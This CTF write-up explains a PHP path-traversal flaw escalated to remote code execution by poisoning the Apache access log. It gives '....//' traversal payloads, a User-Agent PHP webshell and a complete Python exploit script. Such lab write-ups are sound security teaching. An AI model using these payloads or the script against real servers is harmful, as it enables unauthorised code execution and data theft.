Flash CTF – Stratagem

Challenge Overview

This challenge presents a document management system with a classic path traversal vulnerability that can be escalated to remote code execution through log poisoning.

Initial Reconnaissance

When first approaching this challenge, I started by examining the application structure:

  1. Authentication System: Simple PHP-based login/registration with JSON file storage
  2. File Management: Users can view and download documents from assigned projects
  3. Upload Feature: Disabled due to “recent security reports” (foreshadowing!)

The key files to examine are:

  • index.php – Main application logic
  • login.php / register.php – Authentication
  • flag.txt / readflag – The target file (moved to /flag.txt and /readflag in the container)

Vulnerability Discovery

Step 1: Identifying the Path Traversal

Looking at the download functionality in index.php (lines 60-85), we find vulnerable code:

// Handle document download
if (isset($_GET['download'])) {
    $file_path = $_GET['download'];
    
    if (!empty($file_path)) {
        $file_path = str_replace('../', '', $file_path);  // ← Weak sanitization!
        $full_path = $projects_dir . $file_path;

        if (file_exists($full_path) && is_readable($full_path)) {
            ob_start();
            include($full_path);  // ← Direct file inclusion!
            $output = ob_get_clean();
            
            // Set download headers
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
            header('Content-Length: ' . strlen($output));
            
            echo $output;
            exit();
        }
    }
    
    $error = "Document not found or access denied.";
}

The Problem: The sanitization str_replace('../', '', $file_path) is easily bypassed. This only removes the exact occurrences of ../ from the string, so ....// becomes ../ after the replacement.

Step 2: Understanding the Bypass

The bypass works because:

  1. Input: ....//....//....//....//flag.txt
  2. After str_replace('../', '', $file_path)../../../../flag.txt
  3. Final path: projects/../../../../flag.txt
  4. This resolves to /flag.txt

Exploitation Strategy

Phase 1: Basic Path Traversal

First, let’s test if we can read files outside the projects directory:

?download=....//....//....//....//....//etc/passwd

And it works! We can access any file that our user has read permissions to.

Initially, we may think to just try this directly with the flag file with a payload like

?download=....//....//....//....//....//flag.txt

HOWEVER, the flag file is not readable directly. If we look at the Dockerfile, we see that the flag file is owned by root, and that only the root user can read the file. However, a binary named readflag is given suid, so to read the flag, we’ll need to get code execution on this machine and run /readflag.

If we look closely at the download code, we’ll see that it for some reason uses include() for the files instead of a safer function like file_get_contents(), this means that if theoretically we got a php script from the server, it would execute before being delivered to us. If we had uploads, we could easily upload a webshell and be off to the races, but as is we have no immediately obvious way to get code execution.

Phase 2: Log Poisoning Attack

Uploads are disabled, but is there any other way that we can write data to files?

The Attack Vector: Apache access logs!

When you send an HTTP request with PHP code in the User-Agent header, Apache logs it like this:

127.0.0.1 - - [17/Sep/2025:16:18:43 +0000] "GET / HTTP/1.1" 200 282 "-" "<?php system($_GET['c']); ?>"

When this log file is included via PHP’s include(), the PHP code gets executed!

That leaves us the following plan:

  1. Poison the Logs: Send HTTP requests with PHP code in the User-Agent header
  2. Include the Logs: Use path traversal to include /var/log/apache2/access.log
  3. Execute Commands: The PHP code in the logs gets executed

Phase 3: Crafting the Exploit

Here’s the step-by-step process:

  1. Register and Login: Create a user account to access the application
  2. Poison Access Logs: Send a request with PHP webshell in User-Agent:User-Agent: <?php system($_GET['c']); ?>
  3. Execute via Log Inclusion: Access the poisoned log file:?download=....//....//....//....//....//var/log/apache2/access.log&c=id

Complete Exploit Code

#!/usr/bin/env python3
import requests
import sys
import time

def register_and_login(base_url):
    """Create account and login"""
    session = requests.Session()
    
    # Register
    ts = int(time.time())
    email = f"hacker{ts}@metactf.com"
    password = f"hack{ts}!"
    
    register_data = {
        'name': f'Hacker {ts}',
        'email': email,
        'password': password,
        'confirm_password': password,
    }
    
    session.post(f"{base_url}/register.php", data=register_data)
    
    # Login
    login_data = {'email': email, 'password': password}
    session.post(f"{base_url}/login.php", data=login_data)
    
    return session

def poison_logs(base_url):
    """Poison Apache access logs with PHP webshell"""
    webshell = "<?php system($_GET['c']); ?>"
    
    # Send request with webshell in User-Agent
    headers = {'User-Agent': webshell}
    requests.get(base_url, headers=headers)
    
    print(f"[+] Logs poisoned with: {webshell}")

def execute_command(session, base_url, command):
    """Execute command via log inclusion"""
    # Path traversal to access logs
    log_path = "....//....//....//....//....//var/log/apache2/access.log"
    
    url = f"{base_url}/index.php?download={log_path}&c={command}"
    response = session.get(url)
    
    return response.text

def main():
    base_url = sys.argv[1].rstrip('/')
    
    print("[*] Starting Stratagem exploit...")
    
    # Step 1: Get authenticated session
    session = register_and_login(base_url)
    print("[+] Authenticated successfully")
    
    # Step 2: Poison the logs
    poison_logs(base_url)
    print("[+] Logs poisoned")
    
    # Step 3: Execute commands
    print("[*] Testing command execution...")
    result = execute_command(session, base_url, "id")
    print(f"[*] Command output: {result}")
    
    # Step 4: Get the flag
    print("[*] Reading flag...")
    flag = execute_command(session, base_url, "/readflag")
    print(f"[+] Flag: {flag}")

if __name__ == "__main__":
    main()